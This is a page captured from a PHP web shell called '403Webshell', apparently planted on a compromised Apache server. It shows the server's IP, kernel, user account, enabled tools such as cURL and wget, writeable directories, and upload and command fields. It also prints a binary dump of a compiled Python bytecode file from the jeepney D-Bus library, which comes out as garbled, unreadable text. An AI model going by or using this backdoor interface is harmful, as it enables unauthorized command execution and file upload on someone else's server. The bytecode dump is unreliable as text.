403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jeepney/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jeepney/__pycache__/routing.cpython-311.pyc
�

+�c��H�ddlmZddlmZmZddlmZGd�d��ZdS)�)�warn�)�MessageType�HeaderFields)�DBusErrorResponsec�b�eZdZdZd	d�Zed���Zejd���Zd�Zd�Z	d�Z
dS)
�Routera[Routing for messages coming back to a client application.
    
    :param handle_factory: Constructor for an object like asyncio.Future,
        with methods *set_result* and *set_exception*. Outgoing method call
        messages will get a handle associated with them.
    :param on_unhandled: Callback for messages not otherwise dispatched.
    Nc�L�||_||_d|_i|_i|_dS)Nr)�handle_factory�
_on_unhandled�outgoing_serial�awaiting_reply�signal_callbacks)�selfr�on_unhandleds   �1/usr/lib/python3/dist-packages/jeepney/routing.py�__init__zRouter.__init__s0��,���)��� ��� ��� "�����c��|jS�N)r)rs rrzRouter.on_unhandleds���!�!rc�6�tdd���||_dS)NzeSetting on_unhandled is deprecated. Please use the filter() method or simple receive() calls instead.���
stacklevel)rr)r�values  rrzRouter.on_unhandleds3���9�EF�	H�	H�	H�	H�"����rc���|xjdz
c_|j|j_|jjtjur*|���x|j|jj<}|SdS)zNSet the serial number in the message & make a handle if a method call
        rN)r
�header�serial�message_typer�method_callrr)r�msg�handles   r�outgoingzRouter.outgoingsh��	
����!��� �0��
���:�"�k�&=�=�=�>B�>Q�>Q�>S�>S�S�D���
� 1�2�V��M�>�=rc�B�tdd���||j|||f<dS)z%Add a callback for a signal.
        zQThe subscribe_signal() method is deprecated. Please use the filter() API instead.rrN)rr)r�callback�path�	interface�members     r�subscribe_signalzRouter.subscribe_signal)sA��	
�4�@A�	C�	C�	C�	C�;C���t�Y��7�8�8�8rc��|j}|jtjur�|j�tjd��|j�tjd��|j�tj	d��f}|j
�|d��}|�||j��dS|j�tjd��}|j
�|d��}|�f|jtjur|�|j��dS|jtjur$|�t'|����dS|jr|�|��dSdS)z#Route an incoming message.
        N���)rrr�signal�fields�getrr&r'r(r�body�reply_serialr�pop�
method_return�
set_result�error�
set_exceptionrr)rr!�hdr�key�cbr0�reply_handles       r�incomingzRouter.incoming0s`���j����{�1�1�1��:�>�>�,�"3�T�:�:��:�>�>�,�"8�$�?�?��:�>�>�,�"5�t�<�<��C��&�*�*�3��5�5�B��~���3�8�������z�~�~�l�&?��D�D���*�.�.�|�T�B�B���#���;�#<�<�<��'�'���1�1�1����!�[�%6�6�6��*�*�+<�S�+A�+A�B�B�B�����	#����c�"�"�"�"�"�	#�	#rr)�__name__�
__module__�__qualname__�__doc__r�propertyr�setterr#r)r:�rrr	r	s���������#�#�#�#��"�"��X�"���#�#���#�
���D�D�D�#�#�#�#�#rr	N)�warningsr�	low_levelrr�wrappersrr	rArr�<module>rEs}��������0�0�0�0�0�0�0�0�'�'�'�'�'�'�F#�F#�F#�F#�F#�F#�F#�F#�F#�F#r

Youez - 2016 - github.com/yon3zu
LinuXploit